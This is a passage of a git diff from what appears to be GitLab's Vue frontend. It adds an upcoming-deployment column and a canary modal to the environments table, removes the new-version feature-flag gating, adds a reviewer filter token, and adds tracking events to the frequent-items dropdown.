@@ -382,6 +415,15 @@ export default {
},
/**
+ * Same as `deploymentInternalId`, but for the upcoming deployment
+ *
+ * @returns {String}
+ */
+ upcomingDeploymentInternalId() {
+ return `#${this.upcomingDeployment.iid}`;
+ },
+
+ /**
* Verifies if the user object is present under last_deployment object.
*
* @returns {Boolean}
@@ -503,6 +545,13 @@ export default {
folderIconName() {
return this.model.isOpen ? 'chevron-down' : 'chevron-right';
},
+
+ upcomingDeploymentCellClasses() {
+ return [
+ this.tableData.upcoming.spacing,
+ { 'gl-display-none gl-display-md-block': !this.upcomingDeployment },
+ ];
+ },
},
methods: {
@@ -512,6 +561,19 @@ export default {
onClickFolder() {
eventHub.$emit('toggleFolder', this.model);
},
+
+ /**
+ * Returns the field title that will be shown in the field's row
+ * in the mobile view.
+ *
+ * @returns `field.mobileTitle` if present;
+ * if not, falls back to `field.title`.
+ */
+ getMobileViewTitleForField(fieldName) {
+ const field = this.tableData[fieldName];
+
+ return field.mobileTitle || field.title;
+ },
},
};
</script>
@@ -530,7 +592,7 @@ export default {
role="gridcell"
>
<div v-if="!isFolder" class="table-mobile-header" role="rowheader">
- {{ tableData.name.title }}
+ {{ getMobileViewTitleForField('name') }}
</div>
<span v-if="shouldRenderDeployBoard" class="deploy-board-icon" @click="toggleDeployBoard">
@@ -609,7 +671,9 @@ export default {
</div>
<div v-if="!isFolder" class="table-section" :class="tableData.commit.spacing" role="gridcell">
- <div role="rowheader" class="table-mobile-header">{{ tableData.commit.title }}</div>
+ <div role="rowheader" class="table-mobile-header">
+ {{ getMobileViewTitleForField('commit') }}
+ </div>
<div v-if="hasLastDeploymentKey" class="js-commit-component table-mobile-content">
<commit-component
:tag="commitTag"
@@ -623,7 +687,9 @@ export default {
</div>
<div v-if="!isFolder" class="table-section" :class="tableData.date.spacing" role="gridcell">
- <div role="rowheader" class="table-mobile-header">{{ tableData.date.title }}</div>
+ <div role="rowheader" class="table-mobile-header">
+ {{ getMobileViewTitleForField('date') }}
+ </div>
<span
v-if="canShowDeploymentDate"
v-gl-tooltip
@@ -636,8 +702,51 @@ export default {
</span>
</div>
+ <div
+ v-if="!isFolder"
+ class="table-section"
+ :class="upcomingDeploymentCellClasses"
+ role="gridcell"
+ data-testid="upcoming-deployment"
+ >
+ <div role="rowheader" class="table-mobile-header">
+ {{ getMobileViewTitleForField('upcoming') }}
+ </div>
+ <div
+ v-if="upcomingDeployment"
+ class="gl-w-full gl-display-flex gl-flex-direction-row gl-md-flex-direction-column! gl-justify-content-end"
+ data-testid="upcoming-deployment-content"
+ >
+ <div class="gl-display-flex gl-align-items-center">
+ <span class="gl-mr-2">{{ upcomingDeploymentInternalId }}</span>
+ <gl-link
+ v-if="upcomingDeployment.deployable"
+ v-gl-tooltip
+ :href="upcomingDeployment.deployable.build_path"
+ :title="upcomingDeploymentTooltipText"
+ data-testid="upcoming-deployment-status-link"
+ >
+ <ci-icon class="gl-mr-2" :status="upcomingDeployment.deployable.status" />
+ </gl-link>
+ </div>
+ <div class="gl-display-flex">
+ <span v-if="upcomingDeployment.user" class="text-break-word">
+ by
+ <user-avatar-link
+ :link-href="upcomingDeployment.user.web_url"
+ :img-src="upcomingDeployment.user.avatar_url"
+ :img-alt="upcomingDeploymentUserImageAltDescription"
+ :tooltip-text="upcomingDeployment.user.username"
+ />
+ </span>
+ </div>
+ </div>
+ </div>
+
<div v-if="!isFolder" class="table-section" :class="tableData.autoStop.spacing" role="gridcell">
- <div role="rowheader" class="table-mobile-header">{{ tableData.autoStop.title }}</div>
+ <div role="rowheader" class="table-mobile-header">
+ {{ getMobileViewTitleForField('autoStop') }}
+ </div>
<span
v-if="canShowAutoStopDate"
v-gl-tooltip
diff --git a/app/assets/javascripts/environments/components/environments_app.vue b/app/assets/javascripts/environments/components/environments_app.vue
index c1b9ba755a6..b6a7cce36e9 100644
--- a/app/assets/javascripts/environments/components/environments_app.vue
+++ b/app/assets/javascripts/environments/components/environments_app.vue
@@ -93,7 +93,9 @@ export default {
},
beforeDestroy() {
+ // eslint-disable-next-line @gitlab/no-global-event-off
eventHub.$off('toggleFolder');
+ // eslint-disable-next-line @gitlab/no-global-event-off
eventHub.$off('toggleDeployBoard');
},
@@ -141,13 +143,7 @@ export default {
<confirm-rollback-modal :environment="environmentInRollbackModal" />
<div class="gl-w-full">
- <div
- class="
- gl-display-flex
- gl-flex-direction-column
- gl-mt-3
- gl-display-md-none!"
- >
+ <div class="gl-display-flex gl-flex-direction-column gl-mt-3 gl-display-md-none!">
<gl-button
v-if="state.reviewAppDetails.can_setup_review_app"
v-gl-modal="$options.modal.id"
@@ -156,18 +152,16 @@ export default {
category="secondary"
type="button"
class="gl-mb-3 gl-flex-fill-1"
+ >{{ $options.i18n.reviewAppButtonLabel }}</gl-button
>
- {{ $options.i18n.reviewAppButtonLabel }}
- </gl-button>
<gl-button
v-if="canCreateEnvironment"
:href="newEnvironmentPath"
data-testid="new-environment"
category="primary"
variant="success"
+ >{{ $options.i18n.newEnvironmentButtonLabel }}</gl-button
>
- {{ $options.i18n.newEnvironmentButtonLabel }}
- </gl-button>
</div>
<gl-tabs content-class="gl-display-none">
<gl-tab
@@ -183,14 +177,7 @@ export default {
</gl-tab>
<template #tabs-end>
<div
- class="
- gl-display-none
- gl-display-md-flex
- gl-lg-align-items-center
- gl-lg-flex-direction-row
- gl-lg-flex-fill-1
- gl-lg-justify-content-end
- gl-lg-mt-0"
+ class="gl-display-none gl-display-md-flex gl-lg-align-items-center gl-lg-flex-direction-row gl-lg-flex-fill-1 gl-lg-justify-content-end gl-lg-mt-0"
>
<gl-button
v-if="state.reviewAppDetails.can_setup_review_app"
@@ -200,18 +187,16 @@ export default {
category="secondary"
type="button"
class="gl-mb-3 gl-lg-mr-3 gl-lg-mb-0"
+ >{{ $options.i18n.reviewAppButtonLabel }}</gl-button
>
- {{ $options.i18n.reviewAppButtonLabel }}
- </gl-button>
<gl-button
v-if="canCreateEnvironment"
:href="newEnvironmentPath"
data-testid="new-environment"
category="primary"
variant="success"
+ >{{ $options.i18n.newEnvironmentButtonLabel }}</gl-button
>
- {{ $options.i18n.newEnvironmentButtonLabel }}
- </gl-button>
</div>
</template>
</gl-tabs>
diff --git a/app/assets/javascripts/environments/components/environments_table.vue b/app/assets/javascripts/environments/components/environments_table.vue
index c1b3eabec16..d13c7204285 100644
--- a/app/assets/javascripts/environments/components/environments_table.vue
+++ b/app/assets/javascripts/environments/components/environments_table.vue
@@ -15,6 +15,7 @@ export default {
CanaryDeploymentCallout: () =>
import('ee_component/environments/components/canary_deployment_callout.vue'),
EnvironmentAlert: () => import('ee_component/environments/components/environment_alert.vue'),
+ CanaryUpdateModal: () => import('ee_component/environments/components/canary_update_modal.vue'),
},
props: {
environments: {
@@ -58,6 +59,12 @@ export default {
default: '',
},
},
+ data() {
+ return {
+ canaryWeight: 0,
+ environmentToChange: null,
+ };
+ },
computed: {
sortedEnvironments() {
return this.sortEnvironments(this.environments).map(env =>
@@ -71,7 +78,7 @@ export default {
// percent spacing for cols, should add up to 100
name: {
title: s__('Environments|Environment'),
- spacing: 'section-15',
+ spacing: 'section-10',
},
deploy: {
title: s__('Environments|Deployment'),
@@ -83,18 +90,23 @@ export default {
},
commit: {
title: s__('Environments|Commit'),
- spacing: 'section-20',
+ spacing: 'section-15',
},
date: {
title: s__('Environments|Updated'),
spacing: 'section-10',
},
+ upcoming: {
+ title: s__('Environments|Upcoming'),
+ mobileTitle: s__('Environments|Upcoming deployment'),
+ spacing: 'section-10',
+ },
autoStop: {
title: s__('Environments|Auto stop in'),
- spacing: 'section-5',
+ spacing: 'section-10',
},
actions: {
- spacing: 'section-25',
+ spacing: 'section-20',
},
};
},
@@ -139,11 +151,16 @@ export default {
sortBy(env => (env.isFolder ? -1 : 1)),
)(environments);
},
+ changeCanaryWeight(model, weight) {
+ this.environmentToChange = model;
+ this.canaryWeight = weight;
+ },
},
};
</script>
<template>
<div class="ci-table" role="grid">
+ <canary-update-modal :environment="environmentToChange" :weight="canaryWeight" />
<div class="gl-responsive-table-row table-row-header" role="row">
<div class="table-section" :class="tableData.name.spacing" role="columnheader">
{{ tableData.name.title }}
@@ -160,6 +177,9 @@ export default {
<div class="table-section" :class="tableData.date.spacing" role="columnheader">
{{ tableData.date.title }}
</div>
+ <div class="table-section" :class="tableData.upcoming.spacing" role="columnheader">
+ {{ tableData.upcoming.title }}
+ </div>
<div class="table-section" :class="tableData.autoStop.spacing" role="columnheader">
{{ tableData.autoStop.title }}
</div>
@@ -171,6 +191,7 @@ export default {
:model="model"
:can-read-environment="canReadEnvironment"
:table-data="tableData"
+ data-qa-selector="environment_item"
/>
<div
@@ -185,6 +206,7 @@ export default {
:is-loading="model.isLoadingDeployBoard"
:is-empty="model.isEmptyDeployBoard"
:logs-path="model.logs_path"
+ @changeCanaryWeight="changeCanaryWeight(model, $event)"
/>
</div>
</div>
@@ -207,6 +229,7 @@ export default {
:model="children"
:can-read-environment="canReadEnvironment"
:table-data="tableData"
+ data-qa-selector="environment_item"
/>
<div :key="`sub-div-${i}`">
diff --git a/app/assets/javascripts/error_tracking/components/stacktrace_entry.vue b/app/assets/javascripts/error_tracking/components/stacktrace_entry.vue
index cd4bb476b6e..c3471346a63 100644
--- a/app/assets/javascripts/error_tracking/components/stacktrace_entry.vue
+++ b/app/assets/javascripts/error_tracking/components/stacktrace_entry.vue
@@ -80,7 +80,7 @@ export default {
<div ref="header" class="file-title file-title-flex-parent">
<div class="file-header-content d-flex align-content-center">
<div v-if="hasCode" class="d-inline-block cursor-pointer" @click="toggle()">
- <gl-icon :name="collapseIcon" :size="16" aria-hidden="true" class="gl-mr-2" />
+ <gl-icon :name="collapseIcon" :size="16" class="gl-mr-2" />
</div>
<file-icon :file-name="filePath" :size="18" aria-hidden="true" css-classes="gl-mr-2" />
<strong
diff --git a/app/assets/javascripts/feature_flags/components/configure_feature_flags_modal.vue b/app/assets/javascripts/feature_flags/components/configure_feature_flags_modal.vue
index bf47d7cf7c0..5953a4fbad8 100644
--- a/app/assets/javascripts/feature_flags/components/configure_feature_flags_modal.vue
+++ b/app/assets/javascripts/feature_flags/components/configure_feature_flags_modal.vue
@@ -9,10 +9,10 @@ import {
GlSprintf,
GlLink,
GlIcon,
+ GlAlert,
} from '@gitlab/ui';
import { s__, __ } from '~/locale';
import ModalCopyButton from '~/vue_shared/components/modal_copy_button.vue';
-import Callout from '~/vue_shared/components/callout.vue';
export default {
components: {
@@ -22,10 +22,10 @@ export default {
GlModal,
ModalCopyButton,
GlIcon,
- Callout,
GlLoadingIcon,
GlSprintf,
GlLink,
+ GlAlert,
},
directives: {
@@ -153,8 +153,7 @@ export default {
</template>
</gl-sprintf>
</p>
-
- <callout category="warning">
+ <gl-alert variant="warning" class="gl-mb-5" :dismissible="false">
<gl-sprintf
:message="
s__(
@@ -168,7 +167,7 @@ export default {
}}</gl-link>
</template>
</gl-sprintf>
- </callout>
+ </gl-alert>
<gl-form-group :label="$options.translations.apiUrlLabelText" label-for="api-url">
<gl-form-input-group id="api-url" :value="unleashApiUrl" readonly type="text" name="api-url">
<template #append>
@@ -212,11 +211,9 @@ export default {
<gl-icon name="warning" class="gl-mr-2" />
<span>{{ $options.translations.instanceIdRegenerateError }}</span>
</div>
- <callout
- v-if="canUserRotateToken"
- category="danger"
- :message="$options.translations.instanceIdRegenerateText"
- />
+ <gl-alert v-if="canUserRotateToken" variant="danger" class="gl-mb-5" :dismissible="false">
+ {{ $options.translations.instanceIdRegenerateText }}
+ </gl-alert>
<p v-if="canUserRotateToken" data-testid="prevent-accident-text">
<gl-sprintf
:message="
diff --git a/app/assets/javascripts/feature_flags/components/edit_feature_flag.vue b/app/assets/javascripts/feature_flags/components/edit_feature_flag.vue
index 9ec65bb0b43..b89e9723606 100644
--- a/app/assets/javascripts/feature_flags/components/edit_feature_flag.vue
+++ b/app/assets/javascripts/feature_flags/components/edit_feature_flag.vue
@@ -4,7 +4,7 @@ import { mapState, mapActions } from 'vuex';
import axios from '~/lib/utils/axios_utils';
import { sprintf, s__ } from '~/locale';
import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
-import { LEGACY_FLAG, NEW_FLAG_ALERT } from '../constants';
+import { LEGACY_FLAG } from '../constants';
import FeatureFlagForm from './form.vue';
export default {
@@ -36,7 +36,6 @@ export default {
legacyReadOnlyFlagAlert: s__(
'FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag.',
),
- newFlagAlert: NEW_FLAG_ALERT,
},
computed: {
...mapState([
@@ -58,7 +57,7 @@ export default {
: sprintf(s__('Edit %{name}'), { name: this.name });
},
deprecated() {
- return this.hasNewVersionFlags && this.version === LEGACY_FLAG;
+ return this.version === LEGACY_FLAG;
},
deprecatedAndEditable() {
return this.deprecated && !this.hasLegacyReadOnlyFlags;
@@ -66,18 +65,12 @@ export default {
deprecatedAndReadOnly() {
return this.deprecated && this.hasLegacyReadOnlyFlags;
},
- hasNewVersionFlags() {
- return this.glFeatures.featureFlagsNewVersion;
- },
hasLegacyReadOnlyFlags() {
return (
this.glFeatures.featureFlagsLegacyReadOnly &&
!this.glFeatures.featureFlagsLegacyReadOnlyOverride
);
},
- shouldShowNewFlagAlert() {
- return !this.hasNewVersionFlags && this.userShouldSeeNewFlagAlert;
- },
},
created() {
return this.fetchFeatureFlag();
@@ -95,14 +88,6 @@ export default {
</script>
<template>
<div>
- <gl-alert
- v-if="shouldShowNewFlagAlert"
- variant="warning"
- class="gl-my-5"
- @dismiss="dismissNewVersionFlagAlert"
- >
- {{ $options.translations.newFlagAlert }}
- </gl-alert>
<gl-loading-icon v-if="isLoading" size="xl" class="gl-mt-7" />
<template v-else-if="!isLoading && !hasError">
diff --git a/app/assets/javascripts/feature_flags/components/feature_flags.vue b/app/assets/javascripts/feature_flags/components/feature_flags.vue
index 340cf68793f..fe327a98605 100644
--- a/app/assets/javascripts/feature_flags/components/feature_flags.vue
+++ b/app/assets/javascripts/feature_flags/components/feature_flags.vue
@@ -7,7 +7,6 @@ import { FEATURE_FLAG_SCOPE, USER_LIST_SCOPE } from '../constants';
import FeatureFlagsTab from './feature_flags_tab.vue';
import FeatureFlagsTable from './feature_flags_table.vue';
import UserListsTable from './user_lists_table.vue';
-import { s__ } from '~/locale';
import TablePagination from '~/vue_shared/components/pagination/table_pagination.vue';
import {
buildUrlWithCurrentLocation,
@@ -96,9 +95,6 @@ export default {
hasNewPath() {
return !isEmpty(this.newFeatureFlagPath);
},
- emptyStateTitle() {
- return s__('FeatureFlags|Get started with feature flags');
- },
},
created() {
this.setFeatureFlagsOptions({ scope: this.scope, page: this.page });
@@ -246,7 +242,12 @@ export default {
:error-state="shouldRenderErrorState"
:error-title="s__(`FeatureFlags|There was an error fetching the feature flags.`)"
:empty-state="shouldShowEmptyState"
- :empty-title="emptyStateTitle"
+ :empty-title="s__('FeatureFlags|Get started with feature flags')"
+ :empty-description="
+ s__(
+ 'FeatureFlags|Feature flags allow you to configure your code into different flavors by dynamically toggling certain functionality.',
+ )
+ "
data-testid="feature-flags-tab"
@dismissAlert="clearAlert"
@changeTab="onFeatureFlagsTab"
@@ -266,7 +267,12 @@ export default {
:error-state="shouldRenderErrorState"
:error-title="s__(`FeatureFlags|There was an error fetching the user lists.`)"
:empty-state="shouldShowEmptyState"
- :empty-title="emptyStateTitle"
+ :empty-title="s__('FeatureFlags|Get started with user lists')"
+ :empty-description="
+ s__(
+ 'FeatureFlags|User lists allow you to define a set of users to use with Feature Flags.',
+ )
+ "
data-testid="user-lists-tab"
@dismissAlert="clearAlert"
@changeTab="onUserListsTab"
diff --git a/app/assets/javascripts/feature_flags/components/feature_flags_tab.vue b/app/assets/javascripts/feature_flags/components/feature_flags_tab.vue
index 5c35aa33e14..0539b5ff832 100644
--- a/app/assets/javascripts/feature_flags/components/feature_flags_tab.vue
+++ b/app/assets/javascripts/feature_flags/components/feature_flags_tab.vue
@@ -41,6 +41,10 @@ export default {
required: true,
type: String,
},
+ emptyDescription: {
+ required: true,
+ type: String,
+ },
},
inject: ['errorStateSvgPath', 'featureFlagsHelpPagePath'],
computed: {
@@ -92,11 +96,7 @@ export default {
data-testid="empty-state"
>
<template #description>
- {{
- s__(
- 'FeatureFlags|Feature flags allow you to configure your code into different flavors by dynamically toggling certain functionality.',
- )
- }}
+ {{ emptyDescription }}
<gl-link :href="featureFlagsHelpPagePath" target="_blank">
{{ s__('FeatureFlags|More information') }}
</gl-link>
diff --git a/app/assets/javascripts/feature_flags/components/feature_flags_table.vue b/app/assets/javascripts/feature_flags/components/feature_flags_table.vue
index 54d038606f4..ba46bab2df0 100644
--- a/app/assets/javascripts/feature_flags/components/feature_flags_table.vue
+++ b/app/assets/javascripts/feature_flags/components/feature_flags_table.vue
@@ -38,9 +38,6 @@ export default {
permissions() {
return this.glFeatures.featureFlagPermissions;
},
- isNewVersionFlagsEnabled() {
- return this.glFeatures.featureFlagsNewVersion;
- },
isLegacyReadOnlyFlagsEnabled() {
return (
this.glFeatures.featureFlagsLegacyReadOnly &&
@@ -68,7 +65,7 @@ export default {
},
methods: {
isLegacyFlag(flag) {
- return !this.isNewVersionFlagsEnabled || flag.version !== NEW_VERSION_FLAG;
+ return flag.version !== NEW_VERSION_FLAG;
},
statusToggleDisabled(flag) {
return this.isLegacyReadOnlyFlagsEnabled && flag.version === LEGACY_FLAG;
diff --git a/app/assets/javascripts/feature_flags/components/form.vue b/app/assets/javascripts/feature_flags/components/form.vue
index 36ebf893486..12856b79f63 100644
--- a/app/assets/javascripts/feature_flags/components/form.vue
+++ b/app/assets/javascripts/feature_flags/components/form.vue
@@ -137,14 +137,13 @@ export default {
return this.glFeatures.featureFlagPermissions;
},
supportsStrategies() {
- return this.glFeatures.featureFlagsNewVersion && this.version === NEW_VERSION_FLAG;
+ return this.version === NEW_VERSION_FLAG;
},
showRelatedIssues() {
return this.featureFlagIssuesEndpoint.length > 0;
},
readOnly() {
return (
- this.glFeatures.featureFlagsNewVersion &&
this.glFeatures.featureFlagsLegacyReadOnly &&
!this.glFeatures.featureFlagsLegacyReadOnlyOverride &&
this.version === LEGACY_FLAG
diff --git a/app/assets/javascripts/feature_flags/components/new_feature_flag.vue b/app/assets/javascripts/feature_flags/components/new_feature_flag.vue
index 9472eddf336..e6949d8028b 100644
--- a/app/assets/javascripts/feature_flags/components/new_feature_flag.vue
+++ b/app/assets/javascripts/feature_flags/components/new_feature_flag.vue
@@ -1,21 +1,14 @@
<script>
import { mapState, mapActions } from 'vuex';
-import { GlAlert } from '@gitlab/ui';
import axios from '~/lib/utils/axios_utils';
import FeatureFlagForm from './form.vue';
-import {
- LEGACY_FLAG,
- NEW_VERSION_FLAG,
- NEW_FLAG_ALERT,
- ROLLOUT_STRATEGY_ALL_USERS,
-} from '../constants';
+import { NEW_VERSION_FLAG, ROLLOUT_STRATEGY_ALL_USERS } from '../constants';
import { createNewEnvironmentScope } from '../store/helpers';
import featureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
export default {
components: {
- GlAlert,
FeatureFlagForm,
},
mixins: [featureFlagsMixin()],
@@ -33,9 +26,6 @@ export default {
userShouldSeeNewFlagAlert: this.showUserCallout,
};
},
- translations: {
- newFlagAlert: NEW_FLAG_ALERT,
- },
computed: {
...mapState(['error', 'path']),
scopes() {
@@ -50,13 +40,7 @@ export default {
];
},
version() {
- return this.hasNewVersionFlags ? NEW_VERSION_FLAG : LEGACY_FLAG;
- },
- hasNewVersionFlags() {
- return this.glFeatures.featureFlagsNewVersion;
- },
- shouldShowNewFlagAlert() {
- return !this.hasNewVersionFlags && this.userShouldSeeNewFlagAlert;
+ return NEW_VERSION_FLAG;
},
strategies() {
return [{ name: ROLLOUT_STRATEGY_ALL_USERS, parameters: {}, scopes: [] }];
@@ -75,14 +59,6 @@ export default {
</script>
<template>
<div>
- <gl-alert
- v-if="shouldShowNewFlagAlert"
- variant="warning"
- class="gl-my-5"
- @dismiss="dismissNewVersionFlagAlert"
- >
- {{ $options.translations.newFlagAlert }}
- </gl-alert>
<h3 class="page-title">{{ s__('FeatureFlags|New feature flag') }}</h3>
<div v-if="error.length" class="alert alert-danger">
diff --git a/app/assets/javascripts/feature_flags/components/strategy.vue b/app/assets/javascripts/feature_flags/components/strategy.vue
index 9c41dde62e4..ce03248381c 100644
--- a/app/assets/javascripts/feature_flags/components/strategy.vue
+++ b/app/assets/javascripts/feature_flags/components/strategy.vue
@@ -183,11 +183,11 @@ export default {
<span v-if="appliesToAllEnvironments" class="text-secondary gl-mt-3 mt-md-0 ml-md-3">
{{ $options.i18n.allEnvironments }}
</span>
- <div v-else class="gl-display-flex gl-align-items-center">
+ <div v-else class="gl-display-flex gl-align-items-center gl-flex-wrap">
<gl-token
v-for="environment in filteredEnvironments"
:key="environment.id"
- class="gl-mt-3 gl-mr-3 mt-md-0 mr-md-0 ml-md-2 rounded-pill"
+ class="gl-mt-3 gl-mr-3 gl-mb-3 mt-md-0 mr-md-0 ml-md-2 rounded-pill"
@close="removeScope(environment)"
>
{{ environment.environmentScope }}
diff --git a/app/assets/javascripts/feature_flags/constants.js b/app/assets/javascripts/feature_flags/constants.js
index 4843eca149a..658984456a5 100644
--- a/app/assets/javascripts/feature_flags/constants.js
+++ b/app/assets/javascripts/feature_flags/constants.js
@@ -21,10 +21,6 @@ export const fetchUserIdParams = property(['parameters', 'userIds']);
export const NEW_VERSION_FLAG = 'new_version_flag';
export const LEGACY_FLAG = 'legacy_flag';
-export const NEW_FLAG_ALERT = s__(
- 'FeatureFlags|Feature Flags will look different in the next milestone. No action is needed, but you may notice the functionality was changed to improve the workflow.',
-);
-
export const FEATURE_FLAG_SCOPE = 'featureFlags';
export const USER_LIST_SCOPE = 'userLists';
diff --git a/app/assets/javascripts/filterable_list.js b/app/assets/javascripts/filterable_list.js
index 4aad54bed55..eabf3b0846e 100644
--- a/app/assets/javascripts/filterable_list.js
+++ b/app/assets/javascripts/filterable_list.js
@@ -64,8 +64,7 @@ export default class FilterableList {
return false;
}
- // eslint-disable-next-line no-jquery/no-fade
- $(this.listHolderElement).fadeTo(250, 0.5);
+ $(this.listHolderElement).addClass('gl-opacity-5');
this.isBusy = true;
@@ -99,7 +98,6 @@ export default class FilterableList {
onFilterComplete() {
this.isBusy = false;
- // eslint-disable-next-line no-jquery/no-fade
- $(this.listHolderElement).fadeTo(250, 1);
+ $(this.listHolderElement).removeClass('gl-opacity-5');
}
}
diff --git a/app/assets/javascripts/filtered_search/add_extra_tokens_for_merge_requests.js b/app/assets/javascripts/filtered_search/add_extra_tokens_for_merge_requests.js
index 7d4df25816b..38a5bdd4a71 100644
--- a/app/assets/javascripts/filtered_search/add_extra_tokens_for_merge_requests.js
+++ b/app/assets/javascripts/filtered_search/add_extra_tokens_for_merge_requests.js
@@ -1,6 +1,18 @@
import { __ } from '~/locale';
export default (IssuableTokenKeys, disableTargetBranchFilter = false) => {
+ const reviewerToken = {
+ formattedKey: __('Reviewer'),
+ key: 'reviewer',
+ type: 'string',
+ param: 'username',
+ symbol: '@',
+ icon: 'user',
+ tag: '@reviewer',
+ };
+ IssuableTokenKeys.tokenKeys.splice(2, 0, reviewerToken);
+ IssuableTokenKeys.tokenKeysWithAlternative.splice(2, 0, reviewerToken);
+
const draftToken = {
token: {
formattedKey: __('Draft'),
@@ -91,7 +103,7 @@ export default (IssuableTokenKeys, disableTargetBranchFilter = false) => {
],
};
- const tokenPosition = 2;
+ const tokenPosition = 3;
IssuableTokenKeys.tokenKeys.splice(tokenPosition, 0, ...[approvedBy.token]);
IssuableTokenKeys.tokenKeysWithAlternative.splice(tokenPosition, 0, ...[approvedBy.token]);
IssuableTokenKeys.conditions.push(...approvedBy.condition);
diff --git a/app/assets/javascripts/filtered_search/available_dropdown_mappings.js b/app/assets/javascripts/filtered_search/available_dropdown_mappings.js
index d7645f96406..77491d1556b 100644
--- a/app/assets/javascripts/filtered_search/available_dropdown_mappings.js
+++ b/app/assets/javascripts/filtered_search/available_dropdown_mappings.js
@@ -71,6 +71,11 @@ export default class AvailableDropdownMappings {
gl: DropdownUser,
element: this.container.querySelector('#js-dropdown-assignee'),
},
+ reviewer: {
+ reference: null,
+ gl: DropdownUser,
+ element: this.container.querySelector('#js-dropdown-reviewer'),
+ },
'approved-by': {
reference: null,
gl: DropdownUser,
diff --git a/app/assets/javascripts/filtered_search/constants.js b/app/assets/javascripts/filtered_search/constants.js
index 6cd6f9c9906..08736b09407 100644
--- a/app/assets/javascripts/filtered_search/constants.js
+++ b/app/assets/javascripts/filtered_search/constants.js
@@ -1,4 +1,4 @@
-export const USER_TOKEN_TYPES = ['author', 'assignee', 'approved-by'];
+export const USER_TOKEN_TYPES = ['author', 'assignee', 'approved-by', 'reviewer'];
export const DROPDOWN_TYPE = {
hint: 'hint',
diff --git a/app/assets/javascripts/filtered_search/issuable_filtered_search_token_keys.js b/app/assets/javascripts/filtered_search/issuable_filtered_search_token_keys.js
index d2ac80fa190..f9388e9c5d8 100644
--- a/app/assets/javascripts/filtered_search/issuable_filtered_search_token_keys.js
+++ b/app/assets/javascripts/filtered_search/issuable_filtered_search_token_keys.js
@@ -86,6 +86,16 @@ export const conditions = flattenDeep(
value: __('Any'),
},
{
+ url: 'reviewer_id=None',
+ tokenKey: 'reviewer',
+ value: __('None'),
+ },
+ {
+ url: 'reviewer_id=Any',
+ tokenKey: 'reviewer',
+ value: __('Any'),
+ },
+ {
url: 'author_username=support-bot',
tokenKey: 'author',
value: 'support-bot',
diff --git a/app/assets/javascripts/filtered_search/recent_searches_storage_keys.js b/app/assets/javascripts/filtered_search/recent_searches_storage_keys.js
index 7e9b809e9b2..54d49821d92 100644
--- a/app/assets/javascripts/filtered_search/recent_searches_storage_keys.js
+++ b/app/assets/javascripts/filtered_search/recent_searches_storage_keys.js
@@ -1,4 +1,6 @@
export default {
issues: 'issue-recent-searches',
merge_requests: 'merge-request-recent-searches',
+ group_members: 'group-members-recent-searches',
+ group_invited_members: 'group-invited-members-recent-searches',
};
diff --git a/app/assets/javascripts/frequent_items/components/app.vue b/app/assets/javascripts/frequent_items/components/app.vue
index 61080fb5487..c4f61b839e4 100644
--- a/app/assets/javascripts/frequent_items/components/app.vue
+++ b/app/assets/javascripts/frequent_items/components/app.vue
@@ -3,7 +3,6 @@ import { mapState, mapActions, mapGetters } from 'vuex';
import { GlLoadingIcon } from '@gitlab/ui';
import AccessorUtilities from '~/lib/utils/accessor';
import eventHub from '../event_hub';
-import store from '../store';
import { FREQUENT_ITEMS, STORAGE_KEY } from '../constants';
import { isMobile, updateExistingFrequentItem, sanitizeItem } from '../utils';
import FrequentItemsSearchInput from './frequent_items_search_input.vue';
@@ -11,7 +10,6 @@ import FrequentItemsList from './frequent_items_list.vue';
import frequentItemsMixin from './frequent_items_mixin';
export default {
- store,
components: {
FrequentItemsSearchInput,
FrequentItemsList,
diff --git a/app/assets/javascripts/frequent_items/components/frequent_items_list_item.vue b/app/assets/javascripts/frequent_items/components/frequent_items_list_item.vue
index 1203f389931..3260d768fd9 100644
--- a/app/assets/javascripts/frequent_items/components/frequent_items_list_item.vue
+++ b/app/assets/javascripts/frequent_items/components/frequent_items_list_item.vue
@@ -1,13 +1,18 @@
<script>
/* eslint-disable vue/require-default-prop, vue/no-v-html */
+import { mapState } from 'vuex';
import Identicon from '~/vue_shared/components/identicon.vue';
import highlight from '~/lib/utils/highlight';
import { truncateNamespace } from '~/lib/utils/text_utility';
+import Tracking from '~/tracking';
+
+const trackingMixin = Tracking.mixin();
export default {
components: {
Identicon,
},
+ mixins: [trackingMixin],
props: {
matcher: {
type: String,
@@ -37,6 +42,7 @@ export default {
},
},
computed: {
+ ...mapState(['dropdownType']),
truncatedNamespace() {
return truncateNamespace(this.namespace);
},
@@ -49,7 +55,11 @@ export default {
<template>
<li class="frequent-items-list-item-container">
- <a :href="webUrl" class="clearfix">
+ <a
+ :href="webUrl"
+ class="clearfix"
+ @click="track('click_link', { label: `${dropdownType}_dropdown_frequent_items_list_item` })"
+ >
<div
ref="frequentItemsItemAvatarContainer"
class="frequent-items-item-avatar-container avatar-container rect-avatar s32"
diff --git a/app/assets/javascripts/frequent_items/components/frequent_items_search_input.vue b/app/assets/javascripts/frequent_items/components/frequent_items_search_input.vue
index 19cb09f0dcc..8042e8c7bc9 100644
--- a/app/assets/javascripts/frequent_items/components/frequent_items_search_input.vue
+++ b/app/assets/javascripts/frequent_items/components/frequent_items_search_input.vue
@@ -1,27 +1,34 @@
<script>
import { debounce } from 'lodash';
-import { mapActions } from 'vuex';
+import { mapActions, mapState } from 'vuex';
import { GlIcon } from '@gitlab/ui';
import eventHub from '../event_hub';
import frequentItemsMixin from './frequent_items_mixin';
+import Tracking from '~/tracking';
+
+const trackingMixin = Tracking.mixin();
export default {
components: {
GlIcon,
},
- mixins: [frequentItemsMixin],
+ mixins: [frequentItemsMixin, trackingMixin],
data() {
return {
searchQuery: '',
};
},
computed: {
+ ...mapState(['dropdownType']),
translations() {
return this.getTranslations(['searchInputPlaceholder']);
},
},
watch: {
searchQuery: debounce(function debounceSearchQuery() {
+ this.track('type_search_query', {
+ label: `${this.dropdownType}_dropdown_frequent_items_search_input`,
+ });
this.setSearchQuery(this.searchQuery);
}, 500),
},
diff --git a/app/assets/javascripts/frequent_items/index.js b/app/assets/javascripts/frequent_items/index.js
index 1998bf4358a..639562bf961 100644
--- a/app/assets/javascripts/frequent_items/index.js
+++ b/app/assets/javascripts/frequent_items/index.js
@@ -2,6 +2,7 @@ import $ from 'jquery';
import Vue from 'vue';
import Translate from '~/vue_shared/translate';
import eventHub from './event_hub';
+import { createStore } from '~/frequent_items/store';
Vue.use(Translate);
